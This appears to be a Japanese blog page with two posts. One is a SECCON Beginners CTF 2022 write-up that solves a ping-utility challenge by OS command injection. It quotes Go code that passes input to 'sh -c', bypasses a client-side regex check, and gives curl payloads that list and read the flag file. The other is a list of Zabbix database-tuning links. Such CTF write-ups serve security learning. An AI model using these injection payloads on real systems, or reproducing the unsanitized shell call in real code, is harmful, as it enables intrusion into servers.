SECCON Beginners CTF 2022 に参加してみた
SECCON Beginners CTF 2022とは
- NPO日本ネットワークセキュリティ協会(JNSA)内にあるSECCON実行委員会が主催しているCTFです。
- Beginnersと名の付いている通り、CTF初心者でも解くことができるような難易度の問題も出題されます。
Writeups
web - Util
サイトへのリンクと、そのサイトのdockerファイルが与えられています。
pingチェックができるサイトのようなので、試しに172.0.0.1を入力してみます。
フォームに入力した値をpingコマンドに渡しているように見えます。配布されているファイルを見てみると次のことがわかります。
# pages/index.html の37行目以降を抜粋して一部改変 <script> function send() { var address = document.getElementById("addressTextField").value; # ここでIPアドレスの正規表現にマッチするか判定している(マッチしないとエラー) if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) { var json = {}; json.address = address var xhr = new XMLHttpRequest(); xhr.open("POST", "/util/ping"); xhr.setRequestHeader("Content-Type", "application/json"); xhr.send(JSON.stringify(json)); #----------- ping結果表示処理 ----------- } else { #----------- エラー表示処理 ----------- document.getElementById("notify").innerHTML = "<p>Invalid IP address</p>"; } } ...
- POSTされた値は、pingコマンドの引数として渡される
# main.go のmain()部分を抜粋 func main() { r := gin.Default() r.LoadHTMLGlob("pages/*") r.GET("/", func(c *gin.Context) { c.HTML(200, "index.html", nil) }) r.POST("/util/ping", func(c *gin.Context) { var param IP if err := c.Bind(¶m); err != nil { c.JSON(400, gin.H{"message": "Invalid parameter"}) return } commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2" result, _ := exec.Command("sh", "-c", commnd).CombinedOutput() c.JSON(200, gin.H{ "result": string(result), }) }) if err := r.Run(); err != nil { panic(err) } }
なお、Flagが書かれたファイルはDockerfile27行目に下記の記述があることから/(ルート)配下にあることがわかります
RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt
以上より、クライアントサイドの検証を回避して任意の文字列をPOSTすることで、OSコマンドインジェクションを起こせばFlagを取れそうとわかります。
下記のようにしてOSコマンドインジェクションをしてみます。
curl -s -X POST https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type: application/json" -d '{"address":"127.0.0.1 >/dev/null; ls / | grep flag"}' | jq -r .result
実際にはサーバ上では下記のコマンドが実行されています。
ping -c 1 -W 1 127.0.0.1 >/dev/null; ls / | grep flag / 1>&2
結果、「flag_A74FIBkN9sELAjOc.txt」が表示され、flagファイルの名前が分かります。
最後に、このファイルを表示させればFlagをゲットです。
curl -s -X POST https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type: application/json" -d '{"address":"127.0.0.1 >/dev/null; cat /flag_A74FIBkN9sELAjOc.txt"}' | jq -r .result
Flag = ctf4b{al1_0vers_4re_i1l}
更新履歴
- 2022/06/06 : 初版
Zabbixで役立ちそうな記事の個人的まとめ
Zabbixとは
日本Zabbixユーザー会*1より引用
Zabbixとは、サーバー、ネットワーク、アプリケーションを監視するためのソフトウェアです。Zabbixは主に以下の3つの機能を有しています。
ZabbixではデータをすべてDBに保存しているため、 監視項目が多かったり、長期間データを保存する設定をしていると DBの読み書きに時間がかかり、パフォーマンスに影響を及ぼします。
下記では、DBのパフォーマンスを向上するための記事をまとめました。
データベースチューニング
テーブルパーティショニング
監視データを格納するテーブル内を分割(パーティショニング)することで データの読み書きの負荷を軽減する考え方です。
(注)パーティションの切り方や運用方式によっては負荷軽減の効果が低いことがあります。
Zabbix チューニング事例 ZabbixとMySQL Partitioningの項目 (大和総研) www.jobarranger.info
MySQL パーティションで大規模なレコードを管理しよう sys-guard.com
MySQLのパーティショニングを触ってみる mix3.github.io
Partitioning Tables on Zabbix 1.8 zabbixzone.com
Partitioning a Zabbix MySQL(8) database with Perl or Stored Procedures blog.zabbix.com
housekeeping(定期削除処理)
- Zabbixの内部プロセスについて (アークシステム) devlog.arksystems.co.jp
変更履歴
- 2022/03/26 初版